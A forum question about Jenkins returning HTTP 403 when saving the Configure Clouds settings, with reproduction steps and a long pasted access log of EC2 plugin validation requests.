Why HTTP 403 when saving config in Jenkins Configure Clouds? - jenkins

How I Replicate the Issue
Log in from the Jenkins Dashboard
Go to Manage Jenkins > Configure Nodes and Clouds > Configure Clouds
Update the configuration (optional, since issue is present without modifying anything)
Click either "Save" or "Apply"
Result
Jenkins Web UI:
I tried to inspect the logs:
/var/log/jenkins/audit.log — no logs during relevant timeframe.
journalctl -u jenkins.service — nothing relevant.
/var/log/jenkins/access_log (trimmed to relevant timeframe only):
123.456.789.101 - - [09/Jan/2023:17:21:59 +0800] "GET /jenkins/manage/configureClouds/ HTTP/1.1" 403 631 "https://sub.domain.com/jenkins/ manage/computer/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:00 +0800] "GET /jenkins/login HTTP/1.1" 200 643 "https://sub.domain.com/jenkins/manage/ configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
10.203.40.50 - - [09/Jan/2023:17:22:16 +0800] "GET /jenkins/login HTTP/1.1" 200 619 "-" "ELB-HealthChecker/2.0"
123.456.789.101 - - [09/Jan/2023:17:22:16 +0800] "POST /jenkins/j_spring_security_check HTTP/1.1" 302 0 "https://sub.domain.com/jenkins/ login?from=%2Fjenkins%2Fmanage%2FconfigureClouds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:17 +0800] "GET /jenkins/adjuncts/4674b761/org/kohsuke/stapler/bind.js HTTP/1.1" 200 936 "https:// sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ 108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:17 +0800] "GET /jenkins/manage/configureClouds/ HTTP/1.1" 200 96523 "https://sub.domain.com/ jenkins/login?from=%2Fjenkins%2Fmanage%2FconfigureClouds%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:17 +0800] "GET /jenkins/adjuncts/4674b761/jenkins/views/JenkinsHeader/search-box.js HTTP/1.1" 200 147 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:17 +0800] "GET /jenkins/adjuncts/4674b761/lib/layout/breadcrumbs.js HTTP/1.1" 200 2750 "https:// sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ 108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:18 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/filter-menu-button/filter-menu-button.js HTTP/1. 1" 200 747 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:18 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/hetero-list/hetero-list.js HTTP/1.1" 200 2136 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:18 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/repeatable/repeatable.js HTTP/1.1" 200 2594 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:19 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/select/select.js HTTP/1.1" 200 1825 "https:// sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ 108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:19 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/advanced/advanced.js HTTP/1.1" 200 703 "https:// sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ 108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:19 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/validateButton/adjunct.js HTTP/1.1" 200 133 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:20 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/section_.js HTTP/1.1" 200 903 "https://sub. domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108. 0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:20 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/apply/apply.js HTTP/1.1" 200 1241 "https://sub. domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108. 0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:20 +0800] "GET /jenkins/adjuncts/4674b761/lib/form/confirm.js HTTP/1.1" 200 950 "https://sub. domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108. 0.0.0 Safari/537.36"
10.100.20.196 - - [09/Jan/2023:17:22:21 +0800] "GET /jenkins/login HTTP/1.1" 200 619 "-" "ELB-HealthChecker/2.0"
123.456.789.101 - - [09/Jan/2023:17:22:21 +0800] "GET /jenkins/adjuncts/4674b761/jenkins/management/AdministrativeMonitorsDecorator/ resources.css HTTP/1.1" 200 1110 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:28 +0800] "GET /jenkins/adjuncts/4674b761/jenkins/management/AdministrativeMonitorsDecorator/ resources.js HTTP/1.1" 200 959 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:30 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/checkCloudName HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:41 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ checkUseInstanceProfileForCredentials HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:41 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ checkAltEC2Endpoint HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:42 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkDescription HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:42 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkLabelString HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:42 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkIdleTerminationMinutes HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:42 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNumberOfInstances HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:42 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNumberOfSpareInstances HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10. 0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:43 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNoInstancesActiveTimeRangeFrom HTTP/1.1" 200 93 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:43 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNoInstancesActiveTimeRangeTo HTTP/1.1" 200 93 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:44 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkInstanceCapStr HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:44 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkMonday HTTP/ 1.1" 200 113 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:44 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkLaunchTimeoutStr HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMaxTotalUses HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/org.jenkinsci.plugins.mailwatcher. WatcherNodeProperty/checkOnlineAddresses HTTP/1.1" 200 54 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/org.jenkinsci.plugins.mailwatcher. WatcherNodeProperty/checkOfflineAddresses HTTP/1.1" 200 54 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkDescription HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkIdleTerminationMinutes HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkLabelString HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNumberOfInstances HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNumberOfSpareInstances HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10. 0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNoInstancesActiveTimeRangeFrom HTTP/1.1" 200 93 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNoInstancesActiveTimeRangeTo HTTP/1.1" 200 93 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkInstanceCapStr HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkMonday HTTP/ 1.1" 200 113 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkLaunchTimeoutStr HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMaxTotalUses HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:45 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ fillCredentialsIdItems HTTP/1.1" 200 131 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
10.203.40.50 - - [09/Jan/2023:17:22:46 +0800] "GET /jenkins/login HTTP/1.1" 200 619 "-" "ELB-HealthChecker/2.0"
123.456.789.101 - - [09/Jan/2023:17:22:46 +0800] "POST /jenkins/manage/descriptorByName/org.jenkinsci.plugins.mailwatcher. WatcherNodeProperty/checkOnlineAddresses HTTP/1.1" 200 54 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:46 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkDescription HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:46 +0800] "POST /jenkins/manage/descriptorByName/org.jenkinsci.plugins.mailwatcher. WatcherNodeProperty/checkOfflineAddresses HTTP/1.1" 200 54 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:46 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ fillSshKeysCredentialsIdItems HTTP/1.1" 200 278 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:46 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillEbsEncryptRootVolumeItems HTTP/1.1" 200 152 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillConnectionStrategyItems HTTP/1.1" 200 155 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillHostKeyVerificationStrategyItems HTTP/1.1" 200 171 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillEbsEncryptRootVolumeItems HTTP/1.1" 200 152 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillHostKeyVerificationStrategyItems HTTP/1.1" 200 171 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillConnectionStrategyItems HTTP/1.1" 200 155 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillEbsEncryptRootVolumeItems HTTP/1.1" 200 152 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillConnectionStrategyItems HTTP/1.1" 200 155 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ fillCredentialsIdItems HTTP/1.1" 200 131 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ fillHostKeyVerificationStrategyItems HTTP/1.1" 200 171 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/ fillSshKeysCredentialsIdItems HTTP/1.1" 200 278 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkLabelString HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkIdleTerminationMinutes HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNumberOfInstances HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNumberOfSpareInstances HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10. 0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNoInstancesActiveTimeRangeFrom HTTP/1.1" 200 93 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMinimumNoInstancesActiveTimeRangeTo HTTP/1.1" 200 93 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/checkMonday HTTP/ 1.1" 200 113 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkInstanceCapStr HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkLaunchTimeoutStr HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.SlaveTemplate/ checkMaxTotalUses HTTP/1.1" 200 6 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/org.jenkinsci.plugins.mailwatcher. WatcherNodeProperty/checkOnlineAddresses HTTP/1.1" 200 54 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/org.jenkinsci.plugins.mailwatcher. WatcherNodeProperty/checkOfflineAddresses HTTP/1.1" 200 54 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
123.456.789.101 - - [09/Jan/2023:17:22:47 +0800] "POST /jenkins/manage/descriptorByName/hudson.plugins.ec2.AmazonEC2Cloud/fillRegionItems HTTP/1.1" 200 232 "https://sub.domain.com/jenkins/manage/configureClouds/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
